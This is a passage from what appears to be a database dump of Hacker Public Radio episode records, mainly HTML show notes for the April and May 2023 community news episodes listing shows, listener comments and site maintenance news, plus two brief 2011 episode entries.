2023-04-01:\n\"video demonstration\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3825#4\" target=\"_blank\">Comment 4</a>:\nAhuka on 2023-04-03:\n\"Brings back memories\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3825#5\" target=\"_blank\">Comment 5</a>:\nminnix on 2023-04-06:\n\"Hi Ahuka\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 10 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3826#comments\" target=\"_blank\">hpr3826</a></strong>\n(2023-04-03) \"<em>HPR Community News for March 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3826#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-04-04:\n\"Updating your profile\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3828#comments\" target=\"_blank\">hpr3828</a></strong>\n(2023-04-05) \"<em>The Oh No! News.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3828#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-04-14:\n\"entertaining\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3831#comments\" target=\"_blank\">hpr3831</a></strong>\n(2023-04-10) \"<em>Introducing Bumble Bee.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3831#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-04-10:\n\"Great interview\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3831#2\" target=\"_blank\">Comment 2</a>:\nbrian-in-ohio on 2023-04-14:\n\"liked it\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3831#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2023-04-16:\n\"Excellent show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3832#comments\" target=\"_blank\">hpr3832</a></strong>\n(2023-04-11) \"<em>How I left Google behind</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\" target=\"_blank\">minnix</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3832#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-04-14:\n\"thank you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3837#comments\" target=\"_blank\">hpr3837</a></strong>\n(2023-04-18) \"<em>Make a vortex cannon</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3837#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-04-27:\n\"intro\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3841#comments\" target=\"_blank\">hpr3841</a></strong>\n(2023-04-24) \"<em>The Oh No! News.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3841#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2023-03-31:\n\"Move Play button\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3843#comments\" target=\"_blank\">hpr3843</a></strong>\n(2023-04-26) \"<em>LinuxLUGCast pre-show ramblings</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3843#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-04-27:\n\"thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3844#comments\" target=\"_blank\">hpr3844</a></strong>\n(2023-04-27) \"<em>2022-2023 New Years Show Episode 6</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3844#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-04-27:\n\"interesting show\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-April/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-April/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"unicode-characters-in-shows\">Unicode characters in shows</h2>\n<p>It came to light during the month that shows with Unicode characters\nin their title, summary or notes were not being represented properly on\nthe website.</p>\n<p>This is the definition of Unicode on <a\nhref=\"https://en.wikipedia.org/wiki/Unicode\">Wikipedia</a>:</p>\n<blockquote>\n<p>Unicode, formally The Unicode Standard, is an information technology\nstandard for the consistent encoding, representation, and handling of\ntext expressed in most of the world\'s writing systems. The standard,\nwhich is maintained by the Unicode Consortium, defines as of the current\nversion (15.0) 149,186 characters covering 161 modern and historic\nscripts, as well as symbols, thousands of emoji (including in colors),\nand non-visual control and formatting codes.</p>\n</blockquote>\n<p>The software and database behind the HPR website come from a time\nbefore Unicode, but had been updated to use this encoding a number of\nyears ago. However, it was discovered that some changes had been\noverlooked.</p>\n<p>We are currently making changes to ensure that Unicode is properly\ndisplayed on the web site, and in audio tags. It will be necessary to\nfind and correct encoding errors in the database, and this process will\nbe carried out as soon as possible. ✓</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3871,'2023-06-05','HPR Community News for May 2023',5632,'HPR Volunteers Rhon, Dave, Reto and Ken talk about shows released and comments posted in May 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=419\" target=\"_blank\">Ryuno-Ki</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3846\" target=\"_blank\">3846</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-05-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3846\" target=\"_blank\">HPR Community News for April 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3847\" target=\"_blank\">3847</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-05-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3847\" target=\"_blank\">All about Synchrotrons</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3848\" target=\"_blank\">3848</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-05-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3848\" target=\"_blank\">Editing Thunderbird email filters using vim.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3849\" target=\"_blank\">3849</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-05-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3849\" target=\"_blank\">trouble shooting</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3850\" target=\"_blank\">3850</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-05-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3850\" target=\"_blank\">New Mexico 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3851\" target=\"_blank\">3851</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-05-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3851\" target=\"_blank\">Firefox extensions</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3852\" target=\"_blank\">3852</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-05-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3852\" target=\"_blank\">UDM ubiquiti Setup for 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3853\" target=\"_blank\">3853</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-05-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3853\" target=\"_blank\">Creating a Prompt for ChatGPT to generate an HPR show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3854\" target=\"_blank\">3854</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-05-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3854\" target=\"_blank\">2022-2023 New Years Show Episode 7</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3855\" target=\"_blank\">3855</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-05-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3855\" target=\"_blank\">SSH (or OpenSSH) Escape Sequences</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3856\" target=\"_blank\">3856</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-05-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3856\" target=\"_blank\">Painting toy soldiers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3857\" target=\"_blank\">3857</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-05-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3857\" target=\"_blank\">Yesterday I saw a solar flare</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3858\" target=\"_blank\">3858</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-05-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3858\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3859\" target=\"_blank\">3859</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-05-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3859\" target=\"_blank\">My Live in Devices</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3860\" target=\"_blank\">3860</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-05-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3860\" target=\"_blank\">Civilization II</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3861\" target=\"_blank\">3861</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-05-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3861\" target=\"_blank\">How To find Things on your home Network</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3862\" target=\"_blank\">3862</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-05-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3862\" target=\"_blank\">Firefox Extensions</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3863\" target=\"_blank\">3863</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-05-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3863\" target=\"_blank\">HPR episode about ChatGPT produced by ChatGPT</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3864\" target=\"_blank\">3864</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-05-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3864\" target=\"_blank\">2022-2023 New Years Show Episode 8</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3865\" target=\"_blank\">3865</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-05-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3865\" target=\"_blank\">When did the Internet get so boring?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3866\" target=\"_blank\">3866</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-05-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3866\" target=\"_blank\">Introducing myself</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=419\" target=\"_blank\">Ryuno-Ki</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3867\" target=\"_blank\">3867</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-05-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3867\" target=\"_blank\">Leap 15.4 Docker Install</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3868\" target=\"_blank\">3868</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-05-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3868\" target=\"_blank\">News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 15 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 3 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3275#comments\" target=\"_blank\">hpr3275</a></strong>\n(2021-02-19) \"<em>D1 Mini Close Lid to Scan</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3275#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2023-05-11:\n\"I need to put this on some Perfboard\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3538#comments\" target=\"_blank\">hpr3538</a></strong>\n(2022-02-23) \"<em>Installing the Tenacity audio editor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3538#3\" target=\"_blank\">Comment 3</a>:\nArcher72 on 2023-05-15:\n\"My memory\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3816#comments\" target=\"_blank\">hpr3816</a></strong>\n(2023-03-20) \"<em>Post Apocalyptic 4s5 Battery Pack  </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3816#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-04-29:\n\"The podcast\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 12 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3848#comments\" target=\"_blank\">hpr3848</a></strong>\n(2023-05-03) \"<em>Editing Thunderbird email filters using vim.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3848#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On the Internet on 2023-05-01:\n\"Live streamed the process.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3849#comments\" target=\"_blank\">hpr3849</a></strong>\n(2023-05-04) \"<em>trouble shooting</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3849#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-05-05:\n\"Good advice\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3849#2\" target=\"_blank\">Comment 2</a>:\nJoe on 2023-05-16:\n\"Troubleshooting is an Art\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3850#comments\" target=\"_blank\">hpr3850</a></strong>\n(2023-05-05) \"<em>New Mexico 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3850#1\" target=\"_blank\">Comment 1</a>:\nStache_AF on 2023-05-06:\n\"Space Museum\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3850#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2023-05-07:\n\"Didn\'t know about it.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3851#comments\" target=\"_blank\">hpr3851</a></strong>\n(2023-05-08) \"<em>Firefox extensions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3851#1\" target=\"_blank\">Comment 1</a>:\nJoe on 2023-05-16:\n\"Plugins I Never Heard Of\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3855#comments\" target=\"_blank\">hpr3855</a></strong>\n(2023-05-12) \"<em>SSH (or OpenSSH) Escape Sequences</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3855#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2023-05-02:\n\"$ man ssh\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3856#comments\" target=\"_blank\">hpr3856</a></strong>\n(2023-05-15) \"<em>Painting toy soldiers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3856#1\" target=\"_blank\">Comment 1</a>:\n= on 2023-05-31:\n\"toy soldiers\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3858#comments\" target=\"_blank\">hpr3858</a></strong>\n(2023-05-17) \"<em>The Oh No! News.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3858#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-05-18:\n\"Great series\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3865#comments\" target=\"_blank\">hpr3865</a></strong>\n(2023-05-26) \"<em>When did the Internet get so boring?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3865#1\" target=\"_blank\">Comment 1</a>:\nhammerron on 2023-05-27:\n\"Why Did The Internet Get So Boring\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3866#comments\" target=\"_blank\">hpr3866</a></strong>\n(2023-05-29) \"<em>Introducing myself</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=419\" target=\"_blank\">Ryuno-Ki</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3866#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2023-05-12:\n\"Show Ideas\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3868#comments\" target=\"_blank\">hpr3868</a></strong>\n(2023-05-31) \"<em>News.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3868#1\" target=\"_blank\">Comment 1</a>:\nJWP on 2023-05-31:\n\"The News show\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-May/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-May/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"server-move\">Server move</h2>\n<p>We are currently in the process of moving the HPR server. A server\nhas been set up on Amazon AWS, and we are currently setting up a copy of\nthe database, mail system and <code>Mailman</code> mailing list service.\nThe <code>Gitea</code> Git repository has already been moved and is in\nuse. The static site created by <code>rho`n</code> is being set up to\nprovide the main HPR website. Work is being done to provide the\ninteractive facilities that need the database, such as show and comment\nsubmission.</p>\n<h2 id=\"contacting-old-hosts\">Contacting old hosts</h2>\n<p>The rate of show submission is unusually low this year. The number of\nactive contributors is low too, with a small group of hosts keeping the\nHPR project from sinking below the waves.</p>\n<p>A question for the HPR Community - can we contact old hosts to ask\nthem to contribute again?</p>\n<h2\nid=\"conversion-of-windows-1252-characters-to-utf-8-unicode\">Conversion\nof Windows-1252 characters to UTF-8 Unicode</h2>\n<p>As mentioned on the last Community News the <em>Windows-1252</em>\ncharacters (aka <em>Latin1</em>) in the database were converted to the\nUTF-8 Unicode format apparently without exceptions. If anyone finds any\nunexpected characters in episode titles, summaries, tags or notes from\nnow onwards please let us know and we\'ll fix them too!</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(867,'2011-11-29','Gift Guide for Electronics Engineers of the Future',1973,'Encouraging young people to get interested in technology','<p>In today\'s show Mr. Gadgets continues his quest to encouraging young people to get interested in technology. </p>\r\n<p>\r\n<ul>\r\n<li><a href=\"https://www.radioshack.com/family/index.jsp?categoryId=4446519\">https://www.radioshack.com/family/index.jsp?categoryId=4446519</a>\r\n</li>\r\n<li><a href=\"https://www.thesource.ca/\">https://www.thesource.ca/</a>  \r\n</li>\r\n<li><a href=\"https://www.maplin.co.uk/\">https://www.maplin.co.uk/</a>\r\n</li>\r\n<li><a href=\"https://makezine.com/\">https://makezine.com/</a>\r\n</li>\r\n<li><a href=\"https://www.youdoitelectronics.com/\">https://www.youdoitelectronics.com/</a>\r\n</li>\r\n<li><a href=\"https://www.frys.com/template/ecomponents\">https://www.frys.com/template/ecomponents</a>\r\n</li>\r\n<li><a href=\"https://www.microcenter.com/search/search_results.phtmlNtt=arduino&amp;submit.x=0&amp;submit.y=0\">https://www.microcenter.com/search/search_results.phtmlNtt=arduino&amp;submit.x=0&amp;submit.y=0</a>\r\n</li>\r\n</ul>\r\n</p>',155,0,1,'CC-BY-SA','\"Radio Shack\",\"Tandy Co.\",arduino,AdaFruit',0,2164,1),
(868,'2011-11-30','Emacs Console',471,'As a keen nano user, JWP tries out EMACS on his NSLU2 \"SLUG\"','In today\'s show JWP returns with a look at emacs console. ',129,0,1,'CC-BY-SA','EMACS,nano,Pine,\"Linksys NSLU2\"',0,2041,1),
